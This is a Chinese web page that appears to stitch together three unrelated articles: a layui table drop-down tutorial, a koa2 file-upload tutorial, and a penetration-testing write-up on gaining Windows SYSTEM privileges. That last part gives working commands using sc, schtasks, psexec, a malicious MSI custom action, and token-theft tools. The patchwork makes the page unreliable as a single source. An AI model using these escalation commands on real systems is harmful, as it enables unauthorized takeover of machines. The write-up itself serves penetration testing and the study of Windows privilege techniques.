整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

layui表格中动态获取下拉框数据

.首先需要定义一个table。

   <div id="id_table">
        <table id="xxx" lay-filter=""></table>
   </div>

2.渲染数据

    layui.use(['form', 'laydate', 'table', 'layer'], function () {
        var table = layui.table,  form = layui.form, layer = layui.layer, laydate=layui.laydate;
        var cols_ = get_cols();
        
        var tb_opts = {
            id: "xxx"
            , elem: "#xxx"
            , toolbar: "#xxx"
            , defaultToolbar: []
            , canSelectRow: 'false'
            //LAY_CHECKED: true,
            , autowidth: 'true'
            , height: '265'
            , even: true
            , cols: [cols_]
            , url: ""
            , data: data
            , text: {
                none: gettext("none_data")
            }
            , loading: true
            , page: {
                layout: ['limit', 'count', 'prev', 'page', 'next']
                , groups: 3
                , limit: 50
                , limits: [50, 100,]
            }
            , done: function (obj) {
                get_code(obj);
            }
        };
gettext:为i18n。
cols:为表格显示数据。
下边代码就不再演示,主要说明下,加载下拉框数据。

3.编写cols,table显示数据,get_cols方法为我定义的获取方法。

    function get_cols() {
        var cols;
        var cols_2 = [];
        cols_2.push(
            {field: 'select_code', title: "xxxx", type: 'select', width: 160, align: 'center',templet:"#selectDictName"},
        );
        cols = cols.concat(cols_2);
        return cols;
    }
selectDictName为templet自定义模板方法。

4.编写selectDictName方法。

写一段单独的js
<script type="text/html" id="selectDictName">
    <select name="dictName" lay-filter="dictName" data-value="{{d.dictName}}">
    </select>
</script>
作用,table生成下拉框。

5.获取下拉框数据,这是一个方法,需要将方法写在done下,当前我的获取数据的方法为get_code()

        function get_code(obj) {
             // 渲染dictName列
               // 渲染之前组装select的option选项值
            $("select[name='dictName']").html(dictNameOptions);
            $('#id_table tr').each(function (e) {
                   var $cr = $(this);
                   var data_index = $cr.attr("data-index");
                   $.each(obj.data, function (index,value) {
                   if (value.LAY_TABLE_INDEX == data_index){
                       $cr.find('select').val(value.select_code);
                       }
                   });
               });
               form.render('select');
        }
此处已做回显操作。

6.根据上述代码,我们可以知道select监禁一个dictNameOptions的方法,这个就是我们获取数据的方法。

需要另写一点js
<script type="text/javascript">
    var dictNameOptions = "<option value=''>--------</option>\n";
    $.ajax({
        async: false,
        url:  'xxxx/xxx/xx',
        type: 'get',
        success: function (res) {
            for (i in res.data) {
                dictNameOptions += '<option value= "' +res.data[i].id + '">' + res.data[i].alias + '</option>';
            }
        }
    })
</script>

这样我们layui就在table中时间实时获取下拉框数据。



在前面

今年国庆假期终于可以憋在家里了不用出门了,不用出去看后脑了,真的是一种享受。这么好的光阴怎么浪费,睡觉、吃饭、打豆豆这怎么可能(耍多了也烦),完全不符合我们程序员的作风,赶紧起来把文章写完。

这篇文章比较基础,在国庆期间的业余时间写的,这几天又完善了下,力求把更多的前端所涉及到的关于文件上传的各种场景和应用都涵盖了,若有疏漏和问题还请留言斧正和补充。

自测读不读

以下是本文所涉及到的知识点,break or continue ?

  • 文件上传原理
  • 最原始的文件上传
  • 使用 koa2 作为服务端写一个文件上传接口
  • 单文件上传和上传进度
  • 多文件上传和上传进度
  • 拖拽上传
  • 剪贴板上传
  • 大文件上传之分片上传
  • 大文件上传之断点续传
  • node 端文件上传

原理概述

原理很简单,就是根据 http 协议的规范和定义,完成请求消息体的封装和消息体的解析,然后将二进制内容保存到文件。

我们都知道如果要上传一个文件,需要把 form 标签的enctype设置为multipart/form-data,同时method必须为post方法。

那么multipart/form-data表示什么呢?

multipart互联网上的混合资源,就是资源由多种元素组成,form-data表示可以使用HTML Forms 和 POST 方法上传文件,具体的定义可以参考RFC 7578。

multipart/form-data 结构

看下 http 请求的消息体



  • 请求头:

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDCntfiXcSkPhS4PN 表示本次请求要上传文件,其中boundary表示分隔符,如果要上传多个表单项,就要使用boundary分割,每个表单项由———XXX开始,以———XXX结尾。

  • 消息体- Form Data 部分

每一个表单项又由Content-Type和Content-Disposition组成。

Content-Disposition: form-data 为固定值,表示一个表单元素,name 表示表单元素的 名称,回车换行后面就是name的值,如果是上传文件就是文件的二进制内容。

Content-Type:表示当前的内容的 MIME 类型,是图片还是文本还是二进制数据。

解析

客户端发送请求到服务器后,服务器会收到请求的消息体,然后对消息体进行解析,解析出哪是普通表单哪些是附件。

可能大家马上能想到通过正则或者字符串处理分割出内容,不过这样是行不通的,二进制buffer转化为string,对字符串进行截取后,其索引和字符串是不一致的,所以结果就不会正确,除非上传的就是字符串。

不过一般情况下不需要自行解析,目前已经有很成熟的三方库可以使用。

至于如何解析,这个也会占用很大篇幅,后面的文章在详细说。

最原始的文件上传

使用 form 表单上传文件

在 ie时代,如果实现一个无刷新的文件上传那可是费老劲了,大部分都是用 iframe 来实现局部刷新或者使用 flash 插件来搞定,在那个时代 ie 就是最好用的浏览器(别无选择)。

DEMO



这种方式上传文件,不需要 js ,而且没有兼容问题,所有浏览器都支持,就是体验很差,导致页面刷新,页面其他数据丢失。

HTML

 <form method="post" action="http://localhost:8100" enctype="multipart/form-data">

        选择文件:
            <input type="file" name="f1"/> input 必须设置 name 属性,否则数据无法发送<br/>
<br/>
            标题:<input type="text" name="title"/><br/><br/><br/>

        <button type="submit" id="btn-0">上 传</button>

</form>

复制代码

文件上传接口

服务端文件的保存基于现有的库koa-body结合 koa2实现服务端文件的保存和数据的返回。

在项目开发中,文件上传本身和业务无关,代码基本上都可通用。

在这里我们使用koa-body库来实现解析和文件的保存。

koa-body 会自动保存文件到系统临时目录下,也可以指定保存的文件路径。



然后在后续中间件内得到已保存的文件的信息,再做二次处理。

  • ctx.request.files.f1 得到文件信息,f1为input file 标签的 name
  • 获得文件的扩展名,重命名文件

NODE

/**
 * 服务入口
 */
var http = require('http');
var koaStatic = require('koa-static');
var path = require('path');
var koaBody = require('koa-body');//文件保存库
var fs = require('fs');
var Koa = require('koa2');

var app = new Koa();
var port = process.env.PORT || '8100';

var uploadHost= `http://localhost:${port}/uploads/`;

app.use(koaBody({
    formidable: {
        //设置文件的默认保存目录,不设置则保存在系统临时目录下  os
        uploadDir: path.resolve(__dirname, '../static/uploads')
    },
    multipart: true // 开启文件上传,默认是关闭
}));

//开启静态文件访问
app.use(koaStatic(
    path.resolve(__dirname, '../static') 
));

//文件二次处理,修改名称
app.use((ctx) => {
    var file = ctx.request.files.f1;//得道文件对象
    var path = file.path;
    var fname = file.name;//原文件名称
    var nextPath = path+fname;
    if(file.size>0 && path){
        //得到扩展名
        var extArr = fname.split('.');
        var ext = extArr[extArr.length-1];
        var nextPath = path+'.'+ext;
        //重命名文件
        fs.renameSync(path, nextPath);
    }
    //以 json 形式输出上传文件地址
    ctx.body = `{
        "fileUrl":"${uploadHost}${nextPath.slice(nextPath.lastIndexOf('/')+1)}"
    }`;
});

/**
 * http server
 */
var server = http.createServer(app.callback());
server.listen(port);
console.log('demo1 server start ......   ');
复制代码

CODE

https://github.com/Bigerfe/fe-learn-code/

x00 前言

在渗透测试中,某些情况下需要用到system权限,例如操作注册表HKEY_LOCAL_MACHINESAMSAM 恰巧最近看到了一篇文章介绍了几种获得system权限的方法,于是决定结合自己的经验对这方面的技巧做系统整理 当然,前提是已经获得系统的管理员权限 学习链接:

https://blog.xpnsec.com/becoming-system/

0x01 简介

本文将要介绍以下内容:

  • 通过创建服务获得System权限的方法
  • 利用MSIExec获得System权限的方法
  • 利用token复制获得System权限的方法

0x02 通过创建服务获得System权限

1、通过sc命令实现

sc Create TestService1 binPath= "cmd /c start" type= own type= interact
sc start TestService1

该方法在XP系统可以使用 Win7下使用时控制台提示:

警告: 服务 TestService1 被配置为交互式服务,其支持正受到抨击。该服务可能无法正常起作用。

服务启动时弹框,需要点击查看消息才能执行代码,如下图

Win8下控制台提示错误,无法使用该方法

2、通过计划任务

使用at命令:

at 7:50 notepad.exe

默认以system权限启动,适用于Win7 从Win8开始不再支持at命令 使用schtasks命令: 创建服务,以system权限启动:

schtasks /Create /TN TestService2 /SC DAILY /ST 00:36 /TR notepad.exe /RU SYSTEM

查看服务状态:

schtasks /Query /TN TestService2

删除服务:

schtasks /Delete /TN TestService2 /F

注: 使用schtasks创建服务后记得手动删除 schtasks命令支持Win7-Win10

3、利用psexec

使用psexec会创建PSEXESVC服务,产生日志Event 4697、Event 7045、Event 4624和Event 4652 以system权限启动:

psexec.exe -accepteula -s -d notepad.exe

默认情况下,system权限的进程不会在用户桌面显示,如果需要显示进程界面,可以加/i参数,命令如下:

psexec.exe -accepteula -s -i -d notepad.exe

如下图

4、Meterpreter

参考Meterpreter的方法:

  • 创建system权限的服务,提供一个命名管道
  • 创建进程,连接到该命名管道

可供参考的代码:

https://github.com/xpn/getsystem-offline

需要getsystem-offline.exe和getsystem_service.exe 测试如下图

注: vs2012直接编译存在bug,可将函数snprintf替换为_snprintf0x03 利用MSIExec获得System权限

我曾在之前的文章《渗透测试中的msiexec》介绍过利用Advanced Installer制作msi文件的方法,这里不再赘述 本节对XPN提到的方法做复现,使用wix3制作msi文件 wix3下载地址:

https://github.com/wixtoolset/wix3

msigen.wix的代码可参考如下地址:

https://gist.github.com/xpn/d1ef20dfd266053227d3e992ae84c64e

编译命令如下:

candle.exe msigen.wix
torch.exe msigen.wixobj

我对XPN的代码做了修改,将payload替换为执行calc.exe,细节上做了部分修改,代码如下:

<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
 <Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product 
Name" Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
 <Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
 <Media Id="1" />
 <Directory Id="TARGETDIR" Name="SourceDir">
 <Directory Id="ProgramFilesFolder">
 <Directory Id="INSTALLLOCATION" Name="Example">
 <Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222"> 
 </Component>
 </Directory>
 </Directory>
 </Directory>
 <Feature Id="DefaultFeature" Level="1">
 <ComponentRef Id="ApplicationFiles"/>
 </Feature>
 <Property Id="cmdline">calc.exe
 </Property>
 <CustomAction Id="SystemShell" Execute="deferred" Directory="TARGETDIR" 
ExeCommand='[cmdline]' Return="ignore" Impersonate="no"/>
 <CustomAction Id="FailInstall" Execute="deferred" Script="vbscript" Return="check">
 invalid vbs to fail install
 </CustomAction>
 <InstallExecuteSequence>
 <Custom Action="SystemShell" After="InstallInitialize"></Custom>
 <Custom Action="FailInstall" Before="InstallFiles"></Custom>
 </InstallExecuteSequence>
 </Product>
</Wix>

经过我的测试,使用torch.exe将msigen.wixobj编译成msigen.msi文件会报错,如下图

使用light.exe能够成功生成msigen.msi,如下图

虽然报错,但不影响文件的生成和功能的执行 也就是说,完整编译命令如下:

candle.exe msigen.wix
light.exe msigen.wixobj

直接双击执行msigen.msi会弹框,启动的calc.exe为system权限 命令行下执行:

msiexec /q /i msigen.msi

启动的calc.exe为high权限

0x04 利用token复制获得System权限

可参考之前的文章:《渗透技巧——Token窃取与利用》 通过复制system权限的token,使进程获得system权限,常用工具如下:

1、incognito

incognito.exe execute -c "NT AUTHORITYSYSTEM" cmd.exe

下载地址:

https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip

2、Invoke-TokenManipulation.ps1

Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authoritysystem"

下载地址:

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1

3、SelectMyParent

SelectMyParent.exe cmd.exe 504

参考地址:

https://github.com/3gstudent/From-System-authority-to-Medium-authority/blob/master/SelectMyParent.cpp

Author: Didier Stevens 注: SelectMyParent的原理同xpn开源的代码(PROC_THREAD_ATTRIBUTE_PARENT_PROCESS method)相同,地址如下:

https://gist.github.com/xpn/a057a26ec81e736518ee50848b9c2cd6

0x05 小结

本文对常用的System权限获取方法做了整理,最后感谢xpn的博客和他的开源代码。

本文作者:3gstudent 转载自:http://www.mottoin.com/detail/1926.html